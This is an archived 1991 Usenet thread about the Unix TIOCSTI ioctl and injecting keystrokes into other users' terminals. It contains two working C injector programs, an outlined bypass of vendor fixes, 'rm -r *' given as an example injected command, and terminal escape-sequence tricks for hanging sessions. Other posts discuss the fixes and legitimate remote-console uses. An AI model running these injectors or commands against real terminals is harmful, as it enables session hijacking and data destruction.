Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

TIOCSTI

43 views
Skip to first unread message

The Lord God your Creator

unread,
May 13, 1991, 5:16:22 PM5/13/91
to

The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
while they're logged in as long as you have write perminssion for the tty
(mesg y). So you could write the string: "rm -r *\n" and it would be executed
if the user was in a shell. Whoever made this system call goofed.

--
/* jal...@ic.sunysb.edu */ /* Amazing */ /* Joe Allen 129.49.12.74 */
int a[1817];main(z,p,q,r){for(p=80;q+p-80;p-=2*a[p])for(z=9;z--;)q=3&(r=time(0)
+r*57)/7,q=q?q-1?q-2?1-p%79?-1:0:p%79-77?1:0:p<1659?79:0:p>158?-79:0,q?!a[p+q*2
]?a[p+=a[p+=q]=q]=q:0:0;for(;q++-1817;)printf(q%79?"%c":"%c\n"," #"[!a[q-1]]);}

William Kucharski

unread,
May 15, 1991, 1:02:57 AM5/15/91
to
In article <1991May13....@sbcs.sunysb.edu> g...@csserv2.ic.sunysb.edu (The Lord God your Creator) writes:
>
>The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
>while they're logged in as long as you have write perminssion for the tty
>(mesg y). So you could write the string: "rm -r *\n" and it would be executed
>if the user was in a shell. Whoever made this system call goofed.

Actually the system call can be quite handy; the fact that it can be used by
Joe User is somewhat more of a goof...
--
| William Kucharski, Solbourne Computer, Inc. | Opinions expressed above
| Internet: kuch...@Solbourne.COM | are MINE alone, not those
| uucp: ...!{boulder,sun,uunet}!stan!kucharsk | of Solbourne...
| Snail Mail: 1900 Pike Road, Longmont, CO 80501 | "It's Night 9 With D2 Dave!"

Brendan Kehoe

unread,
May 15, 1991, 8:14:46 AM5/15/91
to
kuch...@solbourne.com writes:

> g...@csserv2.ic.sunysb.edu writes:
>>The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
>>.. Whoever made this system call goofed.
>
>Actually the system call can be quite handy

I have to agree .. I've found a good number of uses for it. Here's a
quick hack I made to let you have nearly an "interactive" connection
with their terminal (tho you can't see any of the output, you can put
whole lines onto their stdin). It's been invaluable in helping people
do things when I'm not there to physically help them. (Hehe, and to
cleanly log people out that've been idle for 18 years or more.)

-- cut --
/*
* force.c - v1.2 - by Brendan Kehoe
*
* v1.0 - 10/15/90 - force execution of a command on the user's command line
* v1.1 - 11/19/90 - allow a pseudo-interactive session, of sorts
* v1.2 - 11/20/90 - made the thing error check itself into oblivion
*
* Usage: force [ -n ] [ -l /dev/ttyxx ]
* -n - use this if you don't want the command to echo
* -l /dev/ttyxx - the line to hit; use the full name (e.g. /dev/ttyp0)
*
* Compiles under SunOS 4.1 and Ultrix 3.1D (that I know of). No promises
* are made for other OS's or systems.
* It won't work under System V Release anything until an alternative
* to the TIOCSTI ioctl comes around. (Or you use SVR4, I'm told.)
*
* (Yes, this requires you be root to use it.)
*
* You're welcome to do whatever you want with this, as long as you note
* its origin somewhere. (Namely "This Was Written By Brendan Kehoe", for
* starters.) (A 19-page writeup would be cool, too, but maybe it's too much.)
*
* Thanks to Richard Stallman for Emacs .. now that I'm finally really using
* it to any extent, I'm discovering it's an absolute dream to work in. If
* you aren't using it, GET it. (Write me if you don't know how.)
*/

#include <stdio.h>
#ifdef sun
# include <alloca.h>
#endif /* sun */
#include <sys/types.h> /* for stat(2) */
#include <sys/stat.h> /* for stat(2) */
#include <fcntl.h>
#include <sys/termios.h>

#if defined(ultrix)
# include <sys/ioctl.h>
# define TCGETS TCGETP
# define TCSETS TCSANOW
#endif /* ultrix */

void push(), devchk();

extern char *optarg;
extern int optind;
short no_echo = 0;

#define USAGE "usage: %s [-n] [-l /dev/ttyxx]\n",*argv
#define COMMAND_LIM 100

int
main(argc, argv)
int argc;
char **argv;
{
int f, cnt;
short true = 1, no_cmd = 0;
char *device, *buf, *trail, chr;

if (argc > 4) {
fprintf(stderr, USAGE);
exit(1);
}

if ((device = (char *)malloc(40)) == (char *)NULL) {
perror("malloc 1");
exit(1);
}

if ((buf = (char *)alloca(COMMAND_LIM)) == (char *)NULL) {
perror("alloca 1");
exit(1);
}

while ((chr = getopt(argc, argv, "nl:")) != -1)
switch (chr) {
case 'n':
no_echo = 1;
break;
case 'l':
(void) devchk(optarg, *argv);
device = optarg;
break;
default:
fprintf(stderr, USAGE);
exit(1);
}

if (strlen(device) < 2) {
printf("Device [form: /dev/ttyxx]: ");
fflush(stdout);
fgets(device, 39, stdin);
/* cut off the trailing return that fgets leaves on */
if ((*device) && (*(trail=(char *)(device + strlen(device) - 1)) == '\n'))
*trail = '\0';
if (strlen(device) > 7)
(void) devchk(device, *argv);
else {
fprintf(stderr, "%s: give full name [e.g. /dev/ttyp0].\n", *argv);
exit(1);
}
}

printf("Terminate with '-X-' on a line by itself.\n");
while (true) {
no_cmd = cnt = 0;
chr = *buf = '\0';
printf("Force> ");
rewind(stdin);
while (((chr=getchar()) != '\n') && (chr != EOF) && (cnt < COMMAND_LIM))
*(buf + cnt++) = chr;
if (cnt == COMMAND_LIM) {
printf("Limit of %d characters per command line.\n", COMMAND_LIM);
no_cmd = 1;
}
if (chr == EOF) {
putc('\n', stdout);
exit(0);
}
if (!no_cmd) {
*(buf + cnt) = '\0';
if (!strcmp(buf, "-X-"))
true = 0;
else if ((*buf != '\n') && (*buf != '\0')) {
if ((f = open(device, O_NDELAY | O_RDWR)) < 0) {
perror("open");
exit(1);
}
push(f, buf);
close(f);
}
}
}
}

void
push(f, s)
int f;
char *s;
{
register int i;
char ret='\n';
struct termios termios;

if (no_echo) {
if (ioctl(f, TCGETS, &termios) < 0) {
perror("ioctl 1");
exit(1);
}
termios.c_lflag &= ~ECHO;
if (ioctl(f, TCSETS, &termios) < 0) {
perror("ioctl 2");
exit(1);
}
}

if (ioctl(f, TCFLSH, 0) < 0) { /* flush the input queue */
perror("ioctl 3");
exit(1);
}

for (i = 0; i < strlen(s); i++) /* give 'em the command */
ioctl(f, TIOCSTI, s + i);
ioctl(f, TIOCSTI, &ret); /* including a return */

if (no_echo) {
ioctl(f, TCGETS, &termios);
termios.c_lflag |= ECHO;
ioctl(f, TCSETS, &termios);

ioctl(f, TCFLSH, 1); /* flush the output queue */
}
}

void
devchk(device, prg)
char *device, *prg;
{
struct stat sb;

if (strncmp(device, "/dev/tt", 7) && strncmp(device, "/dev/co", 7)) {
fprintf(stderr, "%s: give full name [e.g. /dev/ttyp0].\n", prg);
exit(1);
}
if (!strcmp(device, ttyname(0))) {
fprintf(stderr, "%s: you can't force yourself, you masochist.\n",
prg);
exit(1);
}
if (strlen(device) > 40) {
fprintf(stderr, "%s: terminal name too long.\n", prg);
exit(1);
}

/*
* there's probably a cleaner way to do this (not having the struct down
* here at all); I considered using alloca, then decided not to. I'm open
* to suggestions. - BK 11/20
*/
if (stat(device, (struct stat *)&sb) < 0) {
perror(prg);
exit(1);
}
}
-- cut --
--
Brendan Kehoe - Widener Sun Network Manager - bre...@cs.widener.edu
Widener University in Chester, PA A Bloody Sun-Dec War Zone
"Visualize a dream; look for it in the present tense -- a greater calm than
before. If you persist in your efforts, you can achieve...dream control."

Steve -Social Hacker

unread,
May 15, 1991, 3:09:22 AM5/15/91
to
In article <1991May13....@sbcs.sunysb.edu> g...@csserv2.ic.sunysb.edu (The Lord God your Creator) writes:

The TIOCSTI ioctl lets you simulate keyboard input on other peoples

terminals while they're logged in as long as you have write


perminssion for the tty (mesg y). So you could write the string:
"rm -r *\n" and it would be executed if the user was in a shell.

Whoever made this system call goofed.

Most vendors have ``fixed'' this problem by not allowing the TIOCSTI
unless the process is the owner of the port. There is a disgustion
allong these lines in alt.security. However, most of what is being
discussed is whether or not the topic should be discussed.

Here is one basic approach to get around this ``fix'':

A process closes its controlling tty, thus losing its
controlling tty.
It opens a free pty (slave end) and waits.
Once a process has also opened the pty, the process opens
/dev/tty and performs the TIOCSTI.

Many vendors have fixes even around this. Supposedly, Dan Bernstein
has a program that even gets around this, but he's only telling those
who ``have a need to know,'' which, as far as I can tell, excludes
everyone.

David Brown.
dbr...@ucsd.edu
----------------------------------------------------------------------
Wise man say: mail signatures are annoying and bothersome and should
generally be avoided.
----------------------------------------------------------------------

Joe Dellinger

unread,
May 14, 1991, 7:09:30 AM5/14/91
to

In article <1991May13....@sbcs.sunysb.edu>, g...@csserv2.ic.sunysb.edu

(The Lord God your Creator) writes:
|> The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
|> while they're logged in as long as you have write perminssion for the tty
|> (mesg y).
This probably explains why the trick "stty -even > /dev/whatever"
works so well.

/\ /\ /\/\/\/\/\/\/\.-.-.-.-.......___________
/ \ / \ /Hawaii Institute of Geophysics, Honolulu\/\/\.-.-....__
___/ \/ \/Joe Dellinger, Internet: j...@montebello.soest.hawaii.edu\/\.-.__

:morf

unread,
May 16, 1991, 10:52:23 AM5/16/91
to
Here's a little piece of code that works on some machines... But of
course, only use it for tty's that are your own...

#include <sys/ioctl.h>
#include <sys/termio.h>
#include <sys/file.h>
#include <stdio.h>
main(argc,argv)
int argc;
char *argv[];
{
int fd;
char data;

fd=open(argv[1],O_WRONLY | O_APPEND,0);
while(1)
{
data=getchar();
ioctl(fd,TIOCSTI,&data);
}
}

Juan Gabriel Ruiz Pinto

unread,
May 16, 1991, 1:14:28 PM5/16/91
to
:morF writes:
>Here's a little piece of code that works on some machines... But of
>course, only use it for tty's that are your own...

I have tryed some of this kind of programs in a VAX running Ultrix 3.0,
but when I try to send it to background I get a message of 'stopped
waiting for input'. What this means? Is this a OS protection?

--
Juan Gabriel Ruiz Pinto Internet:
Ing. Sistemas Electronicos jgab...@mtecv2.mty.itesm.mx
I.T.E.S.M. Campus Monterrey

Tim Wright

unread,
May 20, 1991, 4:55:31 AM5/20/91
to
In <1991May13....@sbcs.sunysb.edu> g...@csserv2.ic.sunysb.edu (The Lord God your Creator) writes:


>The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
>while they're logged in as long as you have write perminssion for the tty
>(mesg y). So you could write the string: "rm -r *\n" and it would be executed
>if the user was in a shell. Whoever made this system call goofed.

No they didn't. They did in 4.2BSD but it was fixed in 4.3. Basically, you
can only execute it on your control tty. Under 4.2BSD, you could open a
tty for write only, having first used TIOCNOTTY to get rid of your control
tty, and use TIOCSTI, since the open made the new tty the control terminal
for that process. Under 4.3BSD, you need read access on the terminal as well,
and that is not usually the case unless somebody really wants to be hacked !

Tim
--
Tim Wright, Dell Computer Corp., Bracknell | Domain: t...@dell.co.uk
Berkshire, UK, RG12 1RW. Tel: +44-344-860456 | Uucp: ...!ukc!delluk!tim
Smoke me a Kipper, I'll be back for breakfast - Red Dwarf

Chris Siebenmann

unread,
May 25, 1991, 7:58:13 AM5/25/91
to
t...@dell.co.uk (Tim Wright) writes:
| No they didn't. They did in 4.2BSD but it was fixed in 4.3. Basically, you
| can only execute it on your control tty.
[talks about how you need read & write access to a terminal to make it
your controlling terminal in 4.3BSD.]

There's at least one fairly trivial method of getting over this
difficulty on some systems; I don't plan to explain further, sorry.
This problem, incidentally, is at least one part of the great Dan
Bernsteing tty security war going on in various newsgroups near you. I
currently believe that the Ultrix 4.x kernel has enough support to
defeat attacks using this technique; unfortunately, you need to fix all
the pty-allocating daemons to do the right thing, which usually
requires either the willingness to run 4.3Tahoe daemons and programs on
an Ultrix machine (with any ensuing porting headaches) or Ultrix 4.x
source.

This is another example of why places that are serious about running
real systems in real production environments continue to demand kernel
and utility source from their vendors. Vendors, sit up and take
notice.

[I could have, with experimentation, verified that my fix was probably
correct and complete without kernel source. I would not be HALF as
confident about it, though; actually reading the kernel source was
highly usefull.]
--
"If the vendors started doing everything right, we would be out of a
job. Let's hear it for OSI and X! With those babies in the wings,
we can count on being employed until we drop, or get smart and switch
to gardening, paper folding, or something." - C. Philip Wood
c...@hawkwind.utcs.toronto.edu ...!{utgpu,utzoo,watmath}!utgpu!cks

CrisP

unread,
May 25, 1991, 10:57:36 PM5/25/91
to
I haven`t managed to post from this department before. So lets see if this
works!

In article <tim.674729731@holly> t...@dell.co.uk (Tim Wright) writes:
>In <1991May13....@sbcs.sunysb.edu> g...@csserv2.ic.sunysb.edu (The Lord God your Creator) writes:
>
>
>>The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
>>while they're logged in as long as you have write perminssion for the tty
>>(mesg y). So you could write the string: "rm -r *\n" and it would be executed
>>if the user was in a shell. Whoever made this system call goofed.
>
>No they didn't. They did in 4.2BSD but it was fixed in 4.3. Basically, you
>can only execute it on your control tty. Under 4.2BSD, you could open a
>tty for write only, having first used TIOCNOTTY to get rid of your control
>tty, and use TIOCSTI, since the open made the new tty the control terminal
>for that process. Under 4.3BSD, you need read access on the terminal as well,
>and that is not usually the case unless somebody really wants to be hacked !

Read access on your tty.

I have great fun with programs like this:
-rwxr-xr-x 1 gnu wheel 73728 Jan 21 19:22 /gnu/bin/screen*

And:
-rwxr-xr-x 1 bin wheel 376832 Jul 21 1990 /usr/local/bin/X11/xterm*

Because when I am using them and I do something like "ls -Flg `tty`" I get:
crw-rw-rw- 1 root wheel 20, 1 May 26 03:49 /dev/ttyp1

I don't want to be hacked, but not being root there aint much I can do about
that tty!

~CrisP.

>
>Tim
>--
>Tim Wright, Dell Computer Corp., Bracknell | Domain: t...@dell.co.uk
>Berkshire, UK, RG12 1RW. Tel: +44-344-860456 | Uucp: ...!ukc!delluk!tim
>Smoke me a Kipper, I'll be back for breakfast - Red Dwarf

------------------------------------------------------------------
cr...@uk.ac.warwick.cs | I didn't do it. Nobody saw me do it.
| You can't prove anything. - Bart Simpson.
------------------------------------------------------------------
--
------------------------------------------------------------------
cr...@uk.ac.warwick.cs | I didn't do it. Nobody saw me do it.
| You can't prove anything. - Bart Simpson.
------------------------------------------------------------------

Ed Ravin

unread,
Jun 5, 1991, 11:13:57 AM6/5/91
to
Even if they've got their terminals set to write-only access, if some
interloper knew that they used a VT-100 style terminal or other terminal
with programmable, remotely enabled function keys, couldn't someone send
the sequence to program a function key for "rm -f *\r" and then have the
terminal send it? I used to do things like this in an environment with
25 line terminals -- I had a little script to send "<save cursor>, goto
line 25, write some cute message, and then <restore cursor> so as not to
disturb their session. I also found some escape sequences that could send
VT-101's into a self-test mode that would hang the terminal, drop DTR, and
thus lose the session.

Are there any legitimate uses for TIOCSTI that make it worthwhile, or even
worth the inconvenient security risks? Why did the vendors put it in there
in the first place?
--
Ed Ravin | I'm sorry, sir, but POSTAL REGULATIONS don't allow
cmcl2!panix!eravin | PLASTIC tape over PAPER tape and NYLON cord on an
philabs!trintex!elr | 86 inch girth to LITHUANIA...
+1 914 993 4737 |

Phil OKunewick

unread,
Jun 10, 1991, 2:34:40 PM6/10/91
to
era...@panix.uucp (Ed Ravin) writes:
>Are there any legitimate uses for TIOCSTI that make it worthwhile, or even
>worth the inconvenient security risks? Why did the vendors put it in there
>in the first place?

Yep - here's a hardware ObHack that does something like it:

I have several operators doing backups of our systems in the wee
hours of the morning. Back before I had my "best and brightest"
students doing the backups, it was often easier to read and type on
the console myself and have them watch. This is hard to do when I'm
at home talking them through things on the phone.

So, I wired consoles to I/O ports of other systems using an "and"
connection on the rs-232 lines. I could then dial in to psuvax1 and
tip to the console of gondor, and remotely take over managing gondor's
problem, with the operator watching the console type things itself.
(One guy continued to read the consle output to me after I had told
him what I was doing, and didn't really realize what was happenning
until I typed "Hi Fred.")
Even when gondor was down in single user mode, I could still dial
in to it. I often used this to remotely fix the vaxen when I got
middle-of-the-night phone calls about a crash.

There are a couple problems with this idea - the main one is that
the tip line must be _secure_. If the port isn't protected from the
world, then the random cracker could have all sorts of remote fun on
the console.

Now that we've got Suns, there's a risk of a "break" accidentally
happenning when I connect/disconnect. Since I've got good operators
and stable systems now, the tip-to-consoles aren't worth the risk any
more. But if they're ever needed, they're easy to set up again.

Admittedly this is a hardware version of remote terminal control,
but it does a very similar function.

0 new messages